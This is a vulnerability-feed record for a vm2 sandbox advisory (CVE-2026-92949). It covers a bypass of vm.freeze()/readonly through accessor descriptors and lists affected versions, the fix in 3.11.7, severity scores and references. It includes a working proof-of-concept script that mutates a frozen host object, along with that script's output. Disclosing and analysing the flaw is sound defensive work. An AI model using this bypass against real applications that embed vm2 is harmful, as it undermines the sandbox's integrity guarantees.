{"schema":"threatline.record/2","record":{"id":"CVE-2026-92949","aliases":["GHSA-633r-hq9m-c4ff"],"summary":"vm2: vm.freeze()/vm.readonly() bypass via accessor descriptor","details":"### Summary\nUntrusted JavaScript running inside `new VM().run()` / `new NodeVM().run()` can bypass `vm.freeze()` / `vm.readonly()` and mutate a host object the embedder explicitly marked read-only - the documented contract is \"prevent sandboxed scripts from adding, changing, or deleting properties\". If the frozen host object has an accessor (get/set) own-property, the sandbox can read the host setter back out via `Object.getOwnPropertyDescriptor()` and call it directly; the call lands in `BaseHandler.apply` which unwraps the readonly proxy to the raw host object and runs the host setter against it. No non-default `VM`/`NodeVM` options are required; the only precondition is that the embedder froze an object whose shape includes an accessor property. A second route to the same sink exists via `__lookupSetter__`.\n\n### PoC\n```js\n// poc.js\n'use strict';\nconst { VM } = require('vm2');\n\nlet _level = 'safe';\nconst hostConfig = Object.defineProperty({}, 'level', {\n  get() { return _level; },\n  set(v) { _level = String(v); },\n  enumerable: true, configurable: true,\n});\n\nconst vm = new VM();\nvm.freeze(hostConfig, 'cfg');\n\n// Baseline - documented barriers hold:\nvm.run(`cfg.level = 'via-set';`);\nvm.run(`try { Object.defineProperty(cfg, 'level', {value: 'via-dP'}); } catch (e) {}`);\nconsole.log('after [[Set]]/defineProperty:', _level);   // → \"safe\"\n\n// Bypass - sandbox mutates host via accessor descriptor:\nvm.run(`\n  const d = Object.getOwnPropertyDescriptor(cfg, 'level');\n  d.set.call(cfg, 'PWNED');\n`);\nconsole.log('after getOwnPropertyDescriptor→set.call:', _level);   // → \"PWNED\"\n\n// Variant - same sink via __lookupSetter__:\nvm.run(`cfg.__lookupSetter__('level').call(cfg, 'PWNED-2');`);\nconsole.log('after __lookupSetter__:', _level);   // → \"PWNED-2\"\n```\n\n```sh\nnode poc.js\n```\n\nObserved output:\n\n```\nafter [[Set]]/defineProperty: safe\nafter getOwnPropertyDescriptor→set.call: PWNED\nafter __lookupSetter__: PWNED-2\n```\n\nThe first line shows `ReadOnlyHandler`'s documented traps work; the next two show the sandbox mutated the host-side `_level` despite `vm.freeze()`.\n\n\n\n### Impact\nA sandboxed script can mutate any accessor-backed property on any host object the embedder exposed via `vm.freeze()` / `vm.readonly()`, defeating the read-only contract. Data properties are not affected (`ReadOnlyHandler.set` / `.defineProperty` block those correctly). This is not a generic sandbox escape on its own; severity depends on what the embedder froze. If a frozen object's setter feeds into host control flow (e.g. `set scriptPath(v)`, `set handler(fn)`), this becomes a stepping-stone to host code execution in that embedder.\n\n**Preconditions**: embedder calls `vm.freeze()`/`vm.readonly()` on a host object that has at least one accessor own-property. Default `VM`/`NodeVM` options otherwise.\n**Blast radius**: integrity of the specific frozen host object(s); downstream impact is embedder-defined.\n**Persistence**: as persistent as the host object (typically process-lifetime).","categories":["Libraries & packages"],"product":"vm2","vendor":"patriksimek","ecosystem":"npm","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-633r-hq9m-c4ff","source_modified_at":"2026-10-01T15:35:26Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"range":">= 3.9.6, <= 3.11.6"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92949","source_modified_at":"2026-09-21T17:14:33.106Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"vm2","vendor":"patriksimek","versions":[{"version":"3.9.6","status":"affected","versionType":"semver","lessThan":"3.11.7"},{"version":"3.11.7","status":"unaffected","versionType":"semver"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-633r-hq9m-c4ff","source_modified_at":"2026-10-01T15:45:06.739431237Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"ranges":[{"type":"SEMVER","events":[{"introduced":"3.9.6"},{"fixed":"3.11.7"}]}],"versions":[]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-633r-hq9m-c4ff","source_modified_at":"2026-10-01T15:35:26Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"npm","name":"vm2"},"version":"3.11.7"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-92949","source_modified_at":"2026-09-21T17:14:33.106Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":null},"version":"3.11.7","basis":"first unaffected version stated in the CVE record"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-633r-hq9m-c4ff","source_modified_at":"2026-10-01T15:45:06.739431237Z","fetched_at":"2026-10-23T18:45:31.882637Z","package":{"name":"vm2","ecosystem":"npm","purl":"pkg:npm/vm2"},"version":"3.11.7"}],"cvss":4,"severity":"Medium","kev":{"listed":false},"epss":{"probability":0.00319,"percentile":0.23615,"score_date":"2026-10-23"},"published_at":"2026-09-17T13:46:09.471Z","modified_at":"2026-10-01T15:45:06.739431237Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-633r-hq9m-c4ff","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:35:26Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-92949","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-21T17:14:33.106Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-633r-hq9m-c4ff","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-10-01T15:45:06.739431237Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-92949","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-633r-hq9m-c4ff","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-92949","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/commit/d6ef73bd46488102dae8f4bc35f3f3c0eba2ea64","source":"GitHub Advisory Database"},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.7","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://www.vulncheck.com/advisories/vm2-3.9.6-before-3.11.7-sandbox-bypass-via-accessor-descriptor","tags":["third-party-advisory"]},{"url":"https://github.com/advisories/GHSA-633r-hq9m-c4ff","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","assessed_at":"2026-09-21T17:14:06.865069Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-01T15:45:06.739431237Z","content_hash":"cc4887d60e725991ecb0c5ce1582df7ea9a2386301da5c1acdf3d7265850062f"}}
